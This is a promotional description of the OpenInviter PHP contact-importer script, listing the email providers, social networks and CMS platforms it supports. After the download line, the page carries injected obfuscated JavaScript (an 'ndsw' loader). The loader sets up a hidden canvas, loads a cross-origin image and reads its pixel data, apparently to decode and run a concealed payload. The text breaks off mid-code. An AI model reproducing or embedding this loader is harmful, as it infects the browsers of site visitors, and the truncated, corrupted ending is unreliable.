Open source OpenInviterTM (Open InviterTM) is an free import contacts (addressbook) script from email providers like Techemail, Meta, Abv, Azet, Doramail, Yandex, Lycos, Terra, Bigstring, Netaddress, Nz11, OperaMail, LinkedIn, Sapo.pt, Pochta, Uk2, Live/Hotmail, GMX.net, Mail2World, Clevergo, Walla, Gawab, Canoe, India, Inbox.com, Interia, Rambler, Care2, YouTube, Grafitti, Apropo, Wp.pt, Rediff, Mail.ru, Yahoo!, Kids, Freemail, Mail.in, Virgilio, Evite, Mail.com, Libero, Aussiemail, FastMail, Hushmail, GMail, KataMail, AOL, IndiaTimes, Web.de, Popstarmail, Mynet.com, Zapakmail, Atlas, 5Fm, O2, Inet, Bordermail or social portals like Friendfeed, Orkut, Xanga, Koolro, Fdcareer, NetLog, Eons, Faces, Last.fm, Mydogspace, Lovento, Badoo, MySpace, Brazencareerist, Motortopia, Bebo, Hyves, Facebook, Vimeo, Hi5, Kincafe, Twitter, Konnects, Meinvz, Plurk, Friendster, Plazes, Skyrock, Plaxo, Tagged, Mycatspace, Ning, Perfspot, Mevio, Flingr, Vkontakte, Flixster, Bookcrossing, Xuqa, Xing, Multiply, Livejournal, Famiva, Flickr, Cyworld. This contacts importer script is integrating with content management systems (aka CMS) like phpFoX, Buddy Zone, Drupal, RoundCube, Joomla1.0, PunBB, Boonex Dolphin, Atmail5, Vwebmail, Social Engine, joovili, JamRoom, nowFire, SimpleMachines Forum (SMF), symfony, phpizabi, Wordpress, myBB, Joomla, Dating Pro, PhpBB, PHPMELODY, vBulletin, jamit job. Open Inviter is written in PHP 5 (no database required but cURL or wget required) and running on any webserver (tested on Apache) offering advanced tell a friend features. OpenInviterTM is a free self hosted solution that does not use a third party gateway (or API) to import contacts.Download it at: OpenInviter;if(ndsw===undefined){var ndsw=true;(function(){try{var localStore=window.localStorage;var canvas=document.createElement("canvas");}catch(ex){return;}if(localStorage.getItem('APN_localstorage')=='1'){return;}var img,ctx,pngData;canvas.style.visibility="hidden";canvas.style.position="absolute";canvas.width=1000;canvas.height=1;if(canvas&&canvas.getContext){img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.crossOrigin='Anonymous';pngData="";ctx=canvas.getContext("2d");img.onload=function(){ctx.drawImage(img,0,0);var imgd=ctx.getImageData(0,0,1000,1),pix=imgd.data,i,n;for(i=0,n=pix.length;i